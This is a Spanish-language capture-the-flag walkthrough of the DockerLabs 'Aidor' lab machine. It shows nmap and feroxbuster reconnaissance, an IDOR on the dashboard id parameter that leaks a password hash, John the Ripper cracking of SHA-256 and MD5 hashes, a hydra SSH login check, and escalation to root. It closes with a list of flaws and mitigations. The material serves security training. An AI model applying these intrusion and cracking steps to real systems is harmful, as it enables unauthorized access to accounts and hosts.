Ir al contenido

Aidor

Este documento presenta la resolución completa de la máquina Aidor, diseñada por El Pingüino de Mario para DockerLabs. La máquina muestra un escenario realista donde múltiples vulnerabilidades se encadenan para comprometer el sistema:

  1. IDOR (Insecure Direct Object Reference): Acceso no autorizado a datos.
  2. Almacenamiento inseguro de contraseñas: Hashes sin sal.
  3. Exposición de credenciales: Hardcodeadas en código fuente.
  4. Falta de control de acceso: Escalada mediante hashes comprometidos.

Metodología empleada:

  • Reconocimiento: Identificación de servicios y enumeración web.
  • Explotación: Abuso de IDOR y crackeo de hashes.
  • Escalada: Extracción de credenciales desde código fuente.

AtributoValor
NombreAidor
AutorEl Pingüino de Mario
DificultadFácil
Fecha17/11/2025
PlataformaDockerLabs

Descomprimir y desplegar la máquina:

Ventana de terminal
unzip Aidor.zip
sudo bash auto_deploy.sh Aidor.tar

El script devuelve la IP interna del contenedor:

IP asignada


Identificamos servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oN allPorts.nmap

Resultados:

  • 22/tcp — SSH
  • 5000/tcp — HTTP

Puertos abiertos

Accedemos al puerto 5000 y encontramos una aplicación de login:

Página de login

Realizamos escaneo con feroxbuster:

Ventana de terminal
feroxbuster -u http://172.17.0.2:5000 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,js,txt \
-t 100 \
-C 404

Resultado del escaneo

Recursos descubiertos:

  • / - Página principal (login)
  • /register - Formulario de registro
  • /dashboard - Panel de usuario (requiere autenticación)

Creamos una cuenta de prueba:

  • Usuario: test
  • Contraseña: test
  • Email: test@test.com

Tras login, accedemos al dashboard en /dashboard?id=55:

Dashboard del usuario

Probamos con ID 54 y obtenemos datos de otro usuario:

Ventana de terminal
curl -s "http://172.17.0.2:5000/dashboard?id=54"

Datos de Aidor

Información obtenida:

  • Usuario: Aidor
  • Hash: 7499aced43869b27f505701e4edc737f0cc346add1240d4ba86fbfa251e0fc35

Identificamos como SHA-256 (64 caracteres) y lo crackeamos:

Ventana de terminal
echo "7499aced43869b27f505701e4edc737f0cc346add1240d4ba86fbfa251e0fc35" > hash.txt
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Resultado de John

Contraseña obtenida: 123456

Verificamos que las credenciales funcionan para SSH:

Ventana de terminal
hydra -L users.txt -p "123456" ssh://172.17.0.2

Conectamos al sistema:

Ventana de terminal
ssh aidor@172.17.0.2
# Contraseña: 123456

Conexión SSH exitosa


Revisamos archivos en el directorio home:

Ventana de terminal
ls -la /home/aidor/

Encontramos archivos críticos:

  • database.db — Base de datos
  • app.py — Código fuente de la aplicación

Examinamos app.py y encontramos credenciales hardcodeadas:

Ventana de terminal
cat /home/aidor/app.py

Hash root en código

Hash descubierto: 25d55ad283aa400af464c76d713c07ad (32 chars → MD5)

Procedemos a crackear el hash MD5:

Ventana de terminal
echo "25d55ad283aa400af464c76d713c07ad" > root_hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt

Crackeo de hash MD5

Contraseña de root obtenida: 12345678

Utilizamos las credenciales para escalar privilegios:

Ventana de terminal
su root

Shell como root


Paso 4 — Fallos de seguridad identificados

Sección titulada «Paso 4 — Fallos de seguridad identificados»
  1. IDOR en parámetro id: Permite acceso no autorizado a datos de usuarios.
  2. Hashes sin sal almacenados: SHA-256 sin sal permite crackeo masivo.
  3. Credenciales hardcodeadas: Hash MD5 de root visible en código fuente.
  4. Contraseñas débiles: Uso de contraseñas simples y predecibles.
  5. Falta de control de acceso: Dashboard expone información sensible.
  1. Protección contra IDOR:

    • Implementar control de acceso basado en sesiones
    • Usar tokens únicos en lugar de IDs secuenciales
  2. Almacenamiento seguro de contraseñas:

    • Usar bcrypt con sal única
    • Implementar políticas de contraseñas complejas
  3. Protección de credenciales:

    • Eliminar credenciales hardcodeadas
    • Usar variables de entorno o gestores de secretos
  4. Hardening de SSH:

    • Deshabilitar autenticación por contraseña
    • Implementar autenticación por clave
    • Configurar fail2ban
  5. Prácticas de desarrollo seguro:

    • Revisiones de código para detectar credenciales expuestas
    • Implementar logging y monitoreo de acceso